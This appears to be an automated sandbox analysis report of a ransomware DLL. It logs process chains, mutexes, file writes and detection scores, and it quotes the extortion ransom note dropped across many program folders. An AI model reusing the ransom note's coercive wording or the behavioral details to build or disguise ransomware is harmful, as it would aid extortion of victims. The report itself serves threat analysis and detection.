Source: C:\Windows\System32\rundll32.exe	File dropped: C:\Program Files (x86)\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File dropped: C:\ProgramData\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File dropped: C:\Users\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File dropped: C:\$WinREAgent\Scratch\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File dropped: C:\Program Files\7-Zip\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Esl\instructions_read_me.txt -> decrypt or rename the files will lead to its fatal corruption. it doesn't matter, who are trying to do this, either it will be your it guys or a recovery agency.please follow these simple rules to avoid data corruption:- do not modify, rename or delete files. any attempts to modify, decrypt or rename the files will lead to its fatal corruption. - do not hire a recovery company. they can't decrypt without the key. they also don't care about your business. they believe that they are good negotiators, but it is not. they usually fail. so speak for yourself.waiting you in a chat.	Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB615210	4_2_00007FFDFB615210
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB61C470	4_2_00007FFDFB61C470
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB659BC0	4_2_00007FFDFB659BC0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB632BB0	4_2_00007FFDFB632BB0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6B5BB4	4_2_00007FFDFB6B5BB4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB651B70	4_2_00007FFDFB651B70
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB67DC30	4_2_00007FFDFB67DC30
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6ACC00	4_2_00007FFDFB6ACC00
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB69EC04	4_2_00007FFDFB69EC04
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6AEAD4	4_2_00007FFDFB6AEAD4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB64DAA0	4_2_00007FFDFB64DAA0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6A1AA0	4_2_00007FFDFB6A1AA0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB662B58	4_2_00007FFDFB662B58
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB64C960	4_2_00007FFDFB64C960
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB69EA1C	4_2_00007FFDFB69EA1C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6C38C0	4_2_00007FFDFB6C38C0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB63F8B0	4_2_00007FFDFB63F8B0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB666880	4_2_00007FFDFB666880
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6C186C	4_2_00007FFDFB6C186C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6B195C	4_2_00007FFDFB6B195C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB665950	4_2_00007FFDFB665950
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB63C940	4_2_00007FFDFB63C940
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB619940	4_2_00007FFDFB619940
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB66A93C	4_2_00007FFDFB66A93C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB69EFD8	4_2_00007FFDFB69EFD8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB659FB3	4_2_00007FFDFB659FB3
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB661FB0	4_2_00007FFDFB661FB0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB667FA4	4_2_00007FFDFB667FA4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB67CF88	4_2_00007FFDFB67CF88
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6BAF68	4_2_00007FFDFB6BAF68
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB65AE70	4_2_00007FFDFB65AE70
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB631F40	4_2_00007FFDFB631F40
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB642F10	4_2_00007FFDFB642F10
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB662DD8	4_2_00007FFDFB662DD8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB663E00	4_2_00007FFDFB663E00
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB63CDF0	4_2_00007FFDFB63CDF0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB69EDF0	4_2_00007FFDFB69EDF0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB63DCB0	4_2_00007FFDFB63DCB0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6A8CB0	4_2_00007FFDFB6A8CB0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB65AC90	4_2_00007FFDFB65AC90
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB64AC70	4_2_00007FFDFB64AC70
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB653D50	4_2_00007FFDFB653D50
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6B2D3C	4_2_00007FFDFB6B2D3C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB69F3AC	4_2_00007FFDFB69F3AC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB64B380	4_2_00007FFDFB64B380
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB64E450	4_2_00007FFDFB64E450
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB65B420	4_2_00007FFDFB65B420
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB66B41E	4_2_00007FFDFB66B41E
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB64E3F0	4_2_00007FFDFB64E3F0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6A12A0	4_2_00007FFDFB6A12A0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6BC29C	4_2_00007FFDFB6BC29C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6B0340	4_2_00007FFDFB6B0340
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB666320	4_2_00007FFDFB666320
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB611300	4_2_00007FFDFB611300
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB69F1C4	4_2_00007FFDFB69F1C4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB652220	4_2_00007FFDFB652220
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB651200	4_2_00007FFDFB651200
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB65A0CE	4_2_00007FFDFB65A0CE
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6A0090	4_2_00007FFDFB6A0090
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6B5084	4_2_00007FFDFB6B5084
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6BA074	4_2_00007FFDFB6BA074
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB67106C	4_2_00007FFDFB67106C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6B87A8	4_2_00007FFDFB6B87A8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6227A0	4_2_00007FFDFB6227A0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB657850	4_2_00007FFDFB657850
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB66980C	4_2_00007FFDFB66980C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB625670	4_2_00007FFDFB625670
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB63D660	4_2_00007FFDFB63D660
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB65A720	4_2_00007FFDFB65A720
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB662716	4_2_00007FFDFB662716
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB668700	4_2_00007FFDFB668700
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6176E0	4_2_00007FFDFB6176E0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB624560	4_2_00007FFDFB624560
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB61B600	4_2_00007FFDFB61B600
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB640540	4_2_00007FFDFB640540
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6B5534	4_2_00007FFDFB6B5534
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB66D520	4_2_00007FFDFB66D520
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6BC518	4_2_00007FFDFB6BC518
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB662500	4_2_00007FFDFB662500
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB62C4F0	4_2_00007FFDFB62C4F0

Source: C:\Windows\System32\rundll32.exe

Code function: String function: 00007FFDFB61F320 appears 45 times

Source: AppvIsvSubsystems32.dll.3.dr

Binary string: ^name mapper.related_name_resolver::get_name_by_handle\Device\\logfiles\HostDri

Source: classification engine

Classification label: mal100.rans.spre.evad.winDLL@10/1731@0/0

Source: C:\Windows\System32\rundll32.exe

File created: C:\Program Files\instructions_read_me.txt

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\instructions_read_me.txt

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\ofijweiuhuewhcsaxs.mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_03

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\AppData\Local\Temp\fkdjsadasd.ico

Jump to behavior

Source: WIFCgRK79c.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\rundll32.exe

File read: C:\Program Files\Mozilla Firefox\application.ini

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\WIFCgRK79c.dll,VisibleEntry

Source: softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SEL
Source: softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);

Source: WIFCgRK79c.dll	ReversingLabs: Detection: 57%
Source: WIFCgRK79c.dll	Virustotal: Detection: 63%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\WIFCgRK79c.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\WIFCgRK79c.dll,VisibleEntry
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",VisibleEntry
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\WIFCgRK79c.dll,VisibleEntry	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",VisibleEntry	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File written: C:\Program Files\Mozilla Firefox\application.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\7-Zip\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft Office 15\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Uninstall Information\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Mail\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Multimedia Platform\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Photo Viewer\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Portable Devices\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Security\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\7-Zip\Lang\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Services\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\Chrome\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\images\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\SIGNUP\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft\OneDrive\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft Office 15\ClientX64\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\browser\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\defaults\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\fonts\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\uninstall\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\Microsoft\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\Offline\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\Platform\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\Classification\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\Media Renderer\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\Network Sharing\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\Skins\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\Visualizations\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\Accessories\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\TableTextService\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Photo Viewer\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Esl\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\HelpCfg\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ClickToRun\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\MSInfo\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\Stationery\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\TextConv\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\Triedit\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\VGX\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\ado\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\msadc\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\Ole DB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\Chrome\Application\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft\OneDrive\ListSync\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\browser\features\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\browser\VisualElements\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\defaults\pref\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\Accessories\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\Accessories\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\TableTextService\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PackageManagement\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\Pester\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PSReadline\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Air\instructions_read_me.txt	Jump to behavior
